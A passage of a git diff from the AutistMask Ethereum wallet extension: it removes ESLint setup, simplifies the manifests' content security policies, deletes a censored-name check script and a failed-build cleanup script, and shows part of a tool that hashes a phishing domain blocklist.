// prettier (script/fmt-check), so nothing here touches style.
|
||||
//
|
||||
// The sources are CommonJS and are bundled per entrypoint by build.js, so the
|
||||
// globals differ by tree and are declared per tree below. Getting that wrong in
|
||||
// either direction defeats the point: too few globals buries a real no-undef in
|
||||
// false positives, too many hides the next unimported identifier.
|
||||
|
||||
const js = require("@eslint/js");
|
||||
const globals = require("globals");
|
||||
const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
|
||||
const {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
} = require("./script/lib/forbiddenBundleInputs");
|
||||
|
||||
// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
|
||||
// the code feature-detects between them.
|
||||
const extensionGlobals = {
|
||||
chrome: "readonly",
|
||||
browser: "readonly",
|
||||
};
|
||||
|
||||
const commonjs = {
|
||||
ecmaVersion: 2024,
|
||||
sourceType: "commonjs",
|
||||
};
|
||||
|
||||
module.exports = [
|
||||
{
|
||||
ignores: ["dist/", "node_modules/"],
|
||||
},
|
||||
|
||||
js.configs.recommended,
|
||||
|
||||
{
|
||||
rules: {
|
||||
// The two rules this config exists for. Both are already
|
||||
// error-level in the recommended set; restated so a future
|
||||
// recommended-set change cannot silently downgrade them.
|
||||
"no-undef": "error",
|
||||
// `_`-prefixed arguments are the deliberate "present for the
|
||||
// interface, unused here" marker: the popup views share one
|
||||
// init(ctx) signature and three of the eight do not read ctx.
|
||||
// An unused catch binding is written `catch {`, which the repo
|
||||
// already does, so caught errors stay checked.
|
||||
"no-unused-vars": ["error", { argsIgnorePattern: "^_" }],
|
||||
|
||||
// Off tree-wide: it requires every rethrow to carry `{ cause }`,
|
||||
// at 3 sites today (src/shared/balances.js 207 and 215,
|
||||
// tests/e2e/firefox/run.js 131). That is a change to what the
|
||||
// wallet's error paths actually throw, and it is a decision of its
|
||||
// own rather than a side effect of turning a linter on — so it is
|
||||
// off everywhere, including for new code, until that decision is
|
||||
// made. Unlike no-useless-assignment below, this is not an
|
||||
// accommodation of particular sites and must not be scoped to
|
||||
// them.
|
||||
"preserve-caught-error": "off",
|
||||
},
|
||||
},
|
||||
|
||||
// no-useless-assignment stays on everywhere except the two files that
|
||||
// wipe decrypted key material: the `password = null` and
|
||||
// `decryptedSecret = null` assignments after use are dead by construction
|
||||
// — that is what a best-effort wipe is — and the rule's fix is to delete
|
||||
// the wipe. 9 sites: approval.js 582, 593, 618, 648, 692, 703, 728, 764
|
||||
// and confirmTx.js 459. Everything else in the tree is still checked, so
|
||||
// an ordinary dead store elsewhere is still an error.
|
||||
{
|
||||
files: ["src/popup/views/approval.js", "src/popup/views/confirmTx.js"],
|
||||
rules: {
|
||||
"no-useless-assignment": "off",
|
||||
},
|
||||
},
|
||||
|
||||
// Popup and content scripts: page/window context.
|
||||
{
|
||||
files: ["src/popup/**/*.js", "src/content/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.browser, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// MV3 background: a service worker, with no window and no document.
|
||||
//
|
||||
// It also may not reach src/shared/state.js. That module's `state` export
|
||||
// is a per-bundle singleton loaded once and mutated in place, which is the
|
||||
// popup's lifetime and not the worker's: the worker is killed when idle,
|
||||
// nothing loads state at module scope, and an unpopulated read used to be
|
||||
// served DEFAULT_STATE silently. Five defects came from background code
|
||||
// reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||
// and each point fix added a loadState() that created the next one. The
|
||||
// rule below checks reachability through the whole require graph, not just
|
||||
// the direct require, because a re-export from any shared module the
|
||||
// background already pulls in would put the singleton back in the bundle
|
||||
// with no background file naming it.
|
||||
//
|
||||
// It is not the guarantee: build.js asserts the same prohibition against
|
||||
// esbuild's own metafile, from the shared table in
|
||||
// script/lib/forbiddenBundleInputs.js. This is the early report.
|
||||
//
|
||||
// The glob comes from that same file, because build.js uses the prefix to
|
||||
// decide which entry points must be listed in the table at all: the two
|
||||
// layers must not disagree about which files are "the background".
|
||||
{
|
||||
files: [`${BACKGROUND_ENTRY_PREFIX}**/*.js`],
|
||||
plugins: { background: backgroundState },
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.serviceworker, ...extensionGlobals },
|
||||
},
|
||||
rules: {
|
||||
"background/no-state-singleton-in-background": "error",
|
||||
},
|
||||
},
|
||||
|
||||
// src/shared is bundled into both, so it may only use what both provide:
|
||||
// the service worker globals are the intersection, plus the extension APIs.
|
||||
{
|
||||
files: ["src/shared/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.serviceworker, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// src/shared/ens.js is the documented exception to the line above: its own
|
||||
// header says POPUP ONLY, it caches in localStorage, and only popup views
|
||||
// require it. Linting it as a service worker would be wrong about the file.
|
||||
{
|
||||
files: ["src/shared/ens.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.browser, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// Unit tests, and the helpers they require: jest on node.
|
||||
{
|
||||
files: ["tests/**/*.test.js", "tests/support/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node, ...globals.jest },
|
||||
},
|
||||
},
|
||||
|
||||
// The build script is a plain node program.
|
||||
{
|
||||
files: ["build.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
|
||||
// The helpers the script/ entrypoints call: plain node programs too, run
|
||||
// from a shell script rather than from yarn, and never bundled.
|
||||
{
|
||||
files: ["script/lib/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
|
||||
// The e2e harnesses are node programs that also carry, inline, the
|
||||
// callbacks they ship into the browser via page.evaluate — so both
|
||||
// contexts really are present in the same file and both sets of globals
|
||||
// are in scope somewhere in it.
|
||||
{
|
||||
files: ["tests/e2e/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: {
|
||||
...globals.node,
|
||||
...globals.browser,
|
||||
...extensionGlobals,
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
// This config file itself.
|
||||
{
|
||||
files: ["eslint.config.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
];
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 1.8 KiB |
BIN
icons/icon16.png
BIN
icons/icon16.png
Binary file not shown.
|
Before Width: | Height: | Size: 292 B |
BIN
icons/icon32.png
BIN
icons/icon32.png
Binary file not shown.
|
Before Width: | Height: | Size: 534 B |
BIN
icons/icon48.png
BIN
icons/icon48.png
Binary file not shown.
|
Before Width: | Height: | Size: 725 B |
@@ -3,17 +3,10 @@
|
||||
"name": "AutistMask",
|
||||
"version": "0.1.0",
|
||||
"description": "Minimal Ethereum wallet for Chrome",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
|
||||
"permissions": ["storage", "activeTab", "alarms"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
|
||||
},
|
||||
"icons": {
|
||||
"16": "icons/icon16.png",
|
||||
"32": "icons/icon32.png",
|
||||
"48": "icons/icon48.png",
|
||||
"128": "icons/icon128.png"
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "src/popup/index.html"
|
||||
|
||||
@@ -4,13 +4,7 @@
|
||||
"version": "0.1.0",
|
||||
"description": "Minimal Ethereum wallet for Firefox",
|
||||
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
|
||||
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
|
||||
"icons": {
|
||||
"16": "icons/icon16.png",
|
||||
"32": "icons/icon32.png",
|
||||
"48": "icons/icon48.png",
|
||||
"128": "icons/icon128.png"
|
||||
},
|
||||
"content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
|
||||
"browser_action": {
|
||||
"default_popup": "src/popup/index.html"
|
||||
},
|
||||
|
||||
@@ -9,16 +9,13 @@
|
||||
"test": "jest --forceExit",
|
||||
"test:verbose": "jest --forceExit --verbose",
|
||||
"build": "node build.js",
|
||||
"lint": "eslint . && prettier --check .",
|
||||
"lint": "prettier --check .",
|
||||
"fmt": "prettier --write .",
|
||||
"fmt-check": "prettier --check ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "10.0.1",
|
||||
"@tailwindcss/cli": "^4.2.1",
|
||||
"esbuild": "^0.27.3",
|
||||
"eslint": "10.8.1",
|
||||
"globals": "17.11.0",
|
||||
"jest": "^30.2.0",
|
||||
"playwright-core": "1.56.0",
|
||||
"prettier": "^3.8.1",
|
||||
|
||||
@@ -8,7 +8,6 @@ SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
main() {
|
||||
"$SCRIPT_DIR/test"
|
||||
"$SCRIPT_DIR/test-verify-build"
|
||||
"$SCRIPT_DIR/check-censored"
|
||||
"$SCRIPT_DIR/lint"
|
||||
"$SCRIPT_DIR/fmt-check"
|
||||
}
|
||||
|
||||
@@ -1,301 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/check-censored: assert that the competitor name RULES.md bars appears
|
||||
# nowhere in this repo, and nowhere in the built extension, except where it is
|
||||
# deliberate. Our own extension to scripts-to-rule-them-all, run from
|
||||
# script/check and from make build.
|
||||
#
|
||||
# Where the name is allowed, and why each one is not negotiable away:
|
||||
#
|
||||
# - script/vendor-blocklist. Build-time tooling, never shipped. A pinned
|
||||
# source reference that does not say what the source is cannot be verified
|
||||
# by anyone, so it names it. Whole-file exemption.
|
||||
# - the two provider-shim identifiers in src/content/inpage.js. Protocol
|
||||
# identifiers dApps feature-detect on; renaming them does not rename them in
|
||||
# their code, it only stops this wallet working on their sites.
|
||||
# - the on-chain name of the MUSD ERC-20 in src/shared/tokenList.js. It is not
|
||||
# what backs symbol-spoof detection — that reads symbol and address — but
|
||||
# the wallet already surfaces the on-chain name of any token the user holds
|
||||
# (src/shared/balances.js), and this contract's on-chain name is that
|
||||
# string, so censoring the repo cannot stop the wallet displaying it.
|
||||
# Dropping the entry instead would cost the user MUSD spoof detection.
|
||||
#
|
||||
# Everything else fails, in the working tree and under dist/. The last two are
|
||||
# literals rather than whole files, so they are enforced by counting, and each
|
||||
# literal is scoped to the path allowed to carry it: a file may contain the name
|
||||
# only as many times as it contains the literals permitted *there*, and zero
|
||||
# times anywhere else. The emitted bundles carry them too, so a plain "the name
|
||||
# must not appear in dist/" could never have passed.
|
||||
#
|
||||
# The name itself is not written in this file. script/vendor-blocklist is the
|
||||
# one place in this repo that defines it, and this reads it back out of there —
|
||||
# so the repo-wide grep this check exists to enforce keeps returning exactly the
|
||||
# files named above, and this file is not one of them.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Absolute path to this script, resolved before anything cd's anywhere: the
|
||||
# scan half runs in a re-invocation through xargs, so that the paths it works on
|
||||
# arrive as arguments and cannot be reshaped by field splitting on the way in.
|
||||
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
||||
|
||||
# Internal re-entry flag. Not part of the command-line interface.
|
||||
SCAN_FLAG="--scan-paths"
|
||||
|
||||
VENDOR_SCRIPT="$ROOT/script/vendor-blocklist"
|
||||
|
||||
# Set by extract_name / make_literals_file.
|
||||
NAME=""
|
||||
ALLOWED_LITERALS_FILE=""
|
||||
|
||||
FAILED=0
|
||||
|
||||
cleanup() {
|
||||
[ -z "$ALLOWED_LITERALS_FILE" ] || rm -f "$ALLOWED_LITERALS_FILE"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
fail() {
|
||||
echo "check-censored: FAIL: $*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
# The name, taken from the single place that defines it. A check scanning for a
|
||||
# pattern it failed to read would pass against anything, so this refuses to
|
||||
# continue unless it got something that looks like the definition.
|
||||
extract_name() {
|
||||
[ -f "$VENDOR_SCRIPT" ] ||
|
||||
fail "$VENDOR_SCRIPT is missing, and it is where the name being
|
||||
checked for is defined. Nothing was scanned."
|
||||
|
||||
NAME="$(grep -m1 '^UPSTREAM_ORG=' "$VENDOR_SCRIPT" | cut -d'"' -f2)" ||
|
||||
fail "could not read UPSTREAM_ORG from $VENDOR_SCRIPT. Nothing was
|
||||
scanned."
|
||||
|
||||
case "$NAME" in
|
||||
"" | *[!A-Za-z0-9]*)
|
||||
fail "UPSTREAM_ORG in $VENDOR_SCRIPT did not yield a plain name
|
||||
(got: '$NAME'). Scanning for that would prove nothing. Nothing was
|
||||
scanned."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
make_literals_file() {
|
||||
ALLOWED_LITERALS_FILE="$(mktemp \
|
||||
"${TMPDIR:-/tmp}/autistmask-censored.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so nothing was scanned."
|
||||
}
|
||||
|
||||
# The literals $1 may carry, and nothing else may. Each contains the name
|
||||
# exactly once, which is what makes counting them sound; each is scoped to its
|
||||
# path, so a file with no business carrying the name fails even when it spells
|
||||
# it the way shipped code has to. Scoping is the point: permitting these
|
||||
# literals in any file is what once let this check pass its own prose.
|
||||
#
|
||||
# The emitted paths are listed next to the sources they come from. If the
|
||||
# bundler moves one, this goes red and the new path gets added deliberately,
|
||||
# rather than a wildcard over dist/ covering whatever lands there.
|
||||
allowed_literals_for() {
|
||||
: >"$ALLOWED_LITERALS_FILE"
|
||||
case "$1" in
|
||||
src/content/inpage.js | dist/*/src/content/inpage.js)
|
||||
printf 'is%s\n_%s\n' "$NAME" "$NAME" >"$ALLOWED_LITERALS_FILE"
|
||||
;;
|
||||
src/shared/tokenList.js | dist/*/src/background/index.js | \
|
||||
dist/*/src/popup/index.js)
|
||||
printf '%s USD\n' "$NAME" >"$ALLOWED_LITERALS_FILE"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# How many times does $1 contain the name (TOTAL), and how many of those are one
|
||||
# of the allowed literals (ALLOWED)? Same discipline the rest of this repo's
|
||||
# shell checks apply to grep: exit 0 and 1 are answers about the file, anything
|
||||
# else means the file was not searched and is not an answer at all.
|
||||
count_matches() {
|
||||
_cm_status=0
|
||||
_cm_out="$(grep -a -o -i -F -e "$NAME" -- "$1")" || _cm_status=$?
|
||||
case "$_cm_status" in
|
||||
0) TOTAL="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
|
||||
1) TOTAL=0 ;;
|
||||
*)
|
||||
fail "grep exited $_cm_status reading $1, so the file was never
|
||||
searched and nothing was established about it. That is a permissions or I/O
|
||||
fault, not a clean file. Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$TOTAL" -eq 0 ]; then
|
||||
ALLOWED=0
|
||||
return 0
|
||||
fi
|
||||
|
||||
# No literal is permitted at this path, so every occurrence is a violation.
|
||||
# Handled here rather than by grep, which is not required to say anything
|
||||
# useful about an empty pattern file.
|
||||
if [ ! -s "$ALLOWED_LITERALS_FILE" ]; then
|
||||
ALLOWED=0
|
||||
return 0
|
||||
fi
|
||||
|
||||
_cm_status=0
|
||||
_cm_out="$(grep -a -o -i -F -f "$ALLOWED_LITERALS_FILE" -- "$1")" ||
|
||||
_cm_status=$?
|
||||
case "$_cm_status" in
|
||||
0) ALLOWED="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
|
||||
1) ALLOWED=0 ;;
|
||||
*)
|
||||
fail "grep exited $_cm_status matching the allowed literals in $1.
|
||||
Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# The per-path half, run in a re-invocation of this script so it uses the same
|
||||
# counting as everything else rather than a second copy of it.
|
||||
scan_paths() {
|
||||
for _file in "$@"; do
|
||||
# dist/ arrives absolute (find) and the worktree relative (git
|
||||
# ls-files). The allowlist is keyed on repo-relative paths, so both
|
||||
# forms are reduced to one before anything is decided about them.
|
||||
_rel="$_file"
|
||||
case "$_rel" in
|
||||
"$ROOT"/*) _rel="${_rel#"$ROOT"/}" ;;
|
||||
esac
|
||||
|
||||
case "$_rel" in
|
||||
script/vendor-blocklist) continue ;;
|
||||
esac
|
||||
[ -f "$_file" ] || continue
|
||||
|
||||
allowed_literals_for "$_rel"
|
||||
count_matches "$_file"
|
||||
[ "$TOTAL" -gt "$ALLOWED" ] || continue
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "check-censored: $_rel: $TOTAL occurrence(s) of the name," \
|
||||
"$ALLOWED of them allowed at this path" >&2
|
||||
grep -a -n -i -F -e "$NAME" -- "$_file" | cut -c1-140 | head -5 >&2
|
||||
done
|
||||
[ "$FAILED" -eq 0 ]
|
||||
}
|
||||
|
||||
# Hand a NUL-delimited listing to the scan half. Returns non-zero if any path
|
||||
# failed, or if the scan could not be run at all.
|
||||
scan_listing() {
|
||||
xargs -0 "$SELF" "$SCAN_FLAG" <"$1"
|
||||
}
|
||||
|
||||
# Every file git tracks, plus everything untracked and not ignored: the working
|
||||
# tree as a reviewer would see it, and never node_modules or dist/ (both are
|
||||
# ignored; dist/ is walked separately below).
|
||||
check_worktree() {
|
||||
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-tree.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so nothing was scanned."
|
||||
_status=0
|
||||
git ls-files -z --cached --others --exclude-standard >"$_list" ||
|
||||
_status=$?
|
||||
[ "$_status" -eq 0 ] || {
|
||||
rm -f "$_list"
|
||||
fail "git ls-files exited $_status, so the working tree was never
|
||||
enumerated and nothing was established about it."
|
||||
}
|
||||
|
||||
# Repo-relative paths. The scan half cd's to the repo root before it opens
|
||||
# anything, so they reach it intact and unjoined.
|
||||
WORKTREE_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
|
||||
|
||||
_status=0
|
||||
scan_listing "$_list" || _status=$?
|
||||
rm -f "$_list"
|
||||
return "$_status"
|
||||
}
|
||||
|
||||
check_dist() {
|
||||
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-dist.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so dist/ was not scanned."
|
||||
_status=0
|
||||
find "$ROOT/dist" -type f -print0 >"$_list" || _status=$?
|
||||
[ "$_status" -eq 0 ] || {
|
||||
rm -f "$_list"
|
||||
fail "find exited $_status enumerating dist/, so part of the emitted
|
||||
tree was never walked and an unchecked file there went unchecked. Refusing
|
||||
to report success."
|
||||
}
|
||||
|
||||
DIST_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
|
||||
|
||||
_status=0
|
||||
scan_listing "$_list" || _status=$?
|
||||
rm -f "$_list"
|
||||
return "$_status"
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: script/check-censored [--require-dist]" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
# Internal re-entry from scan_listing's xargs.
|
||||
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
||||
shift
|
||||
extract_name
|
||||
make_literals_file
|
||||
scan_paths "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
require_dist=no
|
||||
case "${1-}" in
|
||||
"") ;;
|
||||
--require-dist) require_dist=yes ;;
|
||||
*) usage ;;
|
||||
esac
|
||||
|
||||
extract_name
|
||||
make_literals_file
|
||||
|
||||
echo "Checking for censored names..."
|
||||
|
||||
tree_status=0
|
||||
check_worktree || tree_status=$?
|
||||
|
||||
dist_status=0
|
||||
dist_inspected=no
|
||||
DIST_COUNT=0
|
||||
if [ -d "$ROOT/dist" ]; then
|
||||
dist_inspected=yes
|
||||
check_dist || dist_status=$?
|
||||
fi
|
||||
|
||||
if [ "$tree_status" -ne 0 ] || [ "$dist_status" -ne 0 ]; then
|
||||
fail "the name appears outside the deliberate exceptions (reported
|
||||
above). See the header of script/check-censored for what is allowed and
|
||||
why."
|
||||
fi
|
||||
|
||||
if [ "$dist_inspected" = no ]; then
|
||||
if [ "$require_dist" = yes ]; then
|
||||
fail "there is no dist/ to inspect and this run was asked to
|
||||
require one. Run make build."
|
||||
fi
|
||||
cat <<EOF
|
||||
################################################################################
|
||||
## WARNING: dist/ WAS NOT INSPECTED BY THIS RUN AND IS NOT PROVEN CLEAN BY IT.
|
||||
## There is no dist/ in this tree. The working tree is clean, but a build can
|
||||
## carry text no source file does — a dependency's, or a bundler's. Every
|
||||
## make build runs this check again with dist/ required, so a release artifact
|
||||
## is always covered; this run simply had none to look at.
|
||||
################################################################################
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "check-censored: $WORKTREE_COUNT tracked file(s) inspected," \
|
||||
"$DIST_COUNT file(s) under dist/"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,78 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
|
||||
# step fails, remove dist/ before returning its exit status. Our own extension
|
||||
# to scripts-to-rule-them-all, wrapped around every step of make build.
|
||||
#
|
||||
# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
|
||||
# compiles a debug bundle and then fails on it in script/verify-build — but the
|
||||
# bundle is already written. It is loadable, and every wallet it creates gets
|
||||
# the publicly committed test recovery phrase from src/shared/constants.js. A
|
||||
# failed release build that leaves that behind is a smaller version of the trap
|
||||
# the verifier exists to close, and "the failure was loud" only works on an
|
||||
# operator who does not load dist/chrome/ anyway. Removing the artifact does not
|
||||
# depend on that.
|
||||
#
|
||||
# Two things this deliberately does not do. It does not wrap make build-debug: a
|
||||
# debug build that failed is not a mistakable artifact, and its output is the
|
||||
# evidence of what went wrong. And it never removes anything on a step that
|
||||
# SUCCEEDS, including the final check-censored --require-dist pass.
|
||||
#
|
||||
# The removal is never silent: it says dist/ is gone and why, on stderr, above
|
||||
# the build's own failure.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
DIST="$ROOT/dist"
|
||||
|
||||
usage() {
|
||||
echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
|
||||
}
|
||||
|
||||
# Remove dist/, and say so. A removal that could not be completed is reported as
|
||||
# loudly as one that was: the artifact is still on disk, and reporting nothing
|
||||
# would leave the operator believing it is not.
|
||||
discard_dist() {
|
||||
if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
|
||||
echo "discard-dist-on-failure: the release build failed. There was no" \
|
||||
"dist/ to remove." >&2
|
||||
return 0
|
||||
fi
|
||||
|
||||
rm -rf "$DIST" || true
|
||||
|
||||
if [ -e "$DIST" ] || [ -h "$DIST" ]; then
|
||||
echo "discard-dist-on-failure: the release build failed and dist/" \
|
||||
"COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
|
||||
"a release build that failed may hold a complete debug bundle," \
|
||||
"whose wallets all use the publicly committed test recovery" \
|
||||
"phrase. Remove it by hand (make clean)." >&2
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
|
||||
"REMOVED and no longer exists. A release build that fails has often" \
|
||||
"already emitted a complete, loadable debug bundle — every wallet it" \
|
||||
"creates gets the publicly committed test recovery phrase — so the" \
|
||||
"failed build is not left behind to be loaded. Fix the failure and" \
|
||||
"re-run make build, or run make build-debug if a debug build is what" \
|
||||
"was wanted; that target keeps its output." >&2
|
||||
}
|
||||
|
||||
main() {
|
||||
[ "$#" -ge 1 ] || {
|
||||
usage
|
||||
echo "discard-dist-on-failure: no command given, so no build step ran" \
|
||||
"and nothing was removed." >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
_status=0
|
||||
"$@" || _status=$?
|
||||
|
||||
[ "$_status" -ne 0 ] || return 0
|
||||
|
||||
discard_dist
|
||||
exit "$_status"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,147 +0,0 @@
|
||||
// The transform half of script/vendor-blocklist: upstream's config.json in,
|
||||
// src/shared/phishingBlocklist.json out. Build-time repo tooling; nothing here
|
||||
// is shipped to users.
|
||||
//
|
||||
// Usage: node script/lib/build-blocklist.js <source.json> <output.json>
|
||||
//
|
||||
// What it does, and why each step is here:
|
||||
//
|
||||
// - only the blacklist is carried over. The extension matches a hostname and
|
||||
// its parent domains against that one list; upstream's whitelist, fuzzylist
|
||||
// and version metadata are read by nothing here, so shipping them would add
|
||||
// megabytes of dead weight to every install.
|
||||
// - entries are lowercased and de-duplicated, because that is the form
|
||||
// isPhishingDomain() compares against.
|
||||
// - entries that cannot be a hostname are dropped and counted. Upstream
|
||||
// carries the odd URL-shaped entry (a path, a scheme); hostname matching can
|
||||
// never match one, and once the artifact is hashes nobody can see that it is
|
||||
// in there, so it is reported at vendoring time instead.
|
||||
// - entries are hashed (see src/shared/domainHash.js) and sorted, and the
|
||||
// digests are concatenated into one fixed-width string. Sorted is what makes
|
||||
// the runtime lookup a binary search over that string, with no set to build
|
||||
// on every service-worker wake; one string rather than an array of 100k+ is
|
||||
// what keeps the file, the bundle and the JSON parse small.
|
||||
//
|
||||
// Deterministic by construction: same input bytes, same output bytes.
|
||||
|
||||
"use strict";
|
||||
|
||||
const fs = require("fs");
|
||||
|
||||
const {
|
||||
HASH_ALGORITHM,
|
||||
HASH_HEX_CHARS,
|
||||
hashDomain,
|
||||
} = require("../../src/shared/domainHash");
|
||||
|
||||
// A blocklist that has collapsed to a handful of entries is a broken fetch or a
|
||||
// changed upstream shape, not a quiet day in phishing. Vendoring it would
|
||||
// disarm the feature, so it fails instead and a human decides.
|
||||
const MIN_ENTRIES = 10000;
|
||||
|
||||
function fail(message) {
|
||||
process.stderr.write("build-blocklist: " + message + "\n");
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// A hostname, as the matcher understands one: dot-separated labels of letters,
|
||||
// digits, hyphens and underscores. Anything else — a path, a scheme, a space,
|
||||
// an empty string, a non-ASCII label a browser would have punycoded before it
|
||||
// ever reached isPhishingDomain() — cannot be produced by the hostname variants
|
||||
// the extension looks up, so it could only ever sit in the artifact unused.
|
||||
//
|
||||
// Underscores are deliberate. They are not legal in a hostname per RFC 1123,
|
||||
// but DNS carries them and browsers resolve them, and upstream lists 141 entries
|
||||
// that use one — real phishing sites on shared subdomain hosts. A stricter
|
||||
// pattern silently drops every one of them.
|
||||
const HOSTNAME_RE =
|
||||
/^[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?(\.[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?)+$/;
|
||||
|
||||
function main(argv) {
|
||||
const [source, output] = argv;
|
||||
if (!source || !output) {
|
||||
fail("usage: build-blocklist.js <source.json> <output.json>");
|
||||
}
|
||||
|
||||
let config;
|
||||
try {
|
||||
config = JSON.parse(fs.readFileSync(source, "utf8"));
|
||||
} catch (e) {
|
||||
fail("could not read " + source + " as JSON: " + e.message);
|
||||
}
|
||||
|
||||
if (!Array.isArray(config.blacklist)) {
|
||||
fail(
|
||||
"the source has no blacklist array, so its shape is not the one " +
|
||||
"this transform understands. Refusing to write an artifact.",
|
||||
);
|
||||
}
|
||||
|
||||
const seen = new Set();
|
||||
let dropped = 0;
|
||||
for (const raw of config.blacklist) {
|
||||
if (typeof raw !== "string") {
|
||||
dropped++;
|
||||
continue;
|
||||
}
|
||||
const domain = raw.trim().toLowerCase();
|
||||
if (!HOSTNAME_RE.test(domain)) {
|
||||
dropped++;
|
||||
continue;
|
||||
}
|
||||
seen.add(domain);
|
||||
}
|
||||
|
||||
if (seen.size < MIN_ENTRIES) {
|
||||
fail(
|
||||
"the source yielded " +
|
||||
seen.size +
|
||||
" usable entries, below the " +
|
||||
MIN_ENTRIES +
|
||||
" floor. That is a broken source or a changed upstream " +
|
||||
"shape, and vendoring it would disarm phishing detection. " +
|
||||
"Refusing to write an artifact.",
|
||||
);
|
||||
}
|
||||
|
||||
const hashes = [];
|
||||
for (const domain of seen) hashes.push(hashDomain(domain));
|
||||
hashes.sort();
|
||||
|
||||
// Truncation makes collisions possible; they are harmless (both entries are
|
||||
// blocked either way) but they must not inflate the count the artifact
|
||||
// claims, which the runtime cross-checks against the string length.
|
||||
const unique = [];
|
||||
for (const hash of hashes) {
|
||||
if (unique.length === 0 || unique[unique.length - 1] !== hash) {
|
||||
unique.push(hash);
|
||||
}
|
||||
}
|
||||
|
||||
const artifact = {
|
||||
algorithm: HASH_ALGORITHM,
|
||||
